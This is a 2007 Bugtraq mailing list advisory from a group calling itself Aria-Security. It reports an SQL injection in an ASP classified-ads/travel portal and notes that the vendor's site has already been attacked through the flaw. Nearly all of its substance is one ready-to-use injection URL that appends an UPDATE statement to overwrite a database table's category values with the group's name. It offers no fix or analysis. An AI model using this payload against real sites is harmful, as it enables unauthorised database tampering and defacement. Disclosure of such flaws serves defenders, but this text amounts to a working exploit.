Bugtraq mailing list archives

Aria-Security.Net Research: Request For Travel Sql Injection

From: Advisory () aria-security net, no-reply () securityfocus com
Date: 8 Nov 2007 02:31:52 -0000

Aria-Security Team,
http://Aria-Security.net
-------------------------------
Rapid Classfield SQL Injection
Shout Outs: AurA, imm02tal
Vendor: http://www.lotfian.com/UK/PORTALS.asp

http://target/agencyCatResult.asp?cmbCat='%20UPDATE%20rftCategory%20set%20Category%20=%20'Aria-Security Team';--

The Vendor's website has been attacked by Emperor Team via this vuln.


Regards,
The-0utl4w

From Aria-Security.Net

Current thread:

Aria-Security.Net Research: Request For Travel Sql Injection Advisory (Nov 08)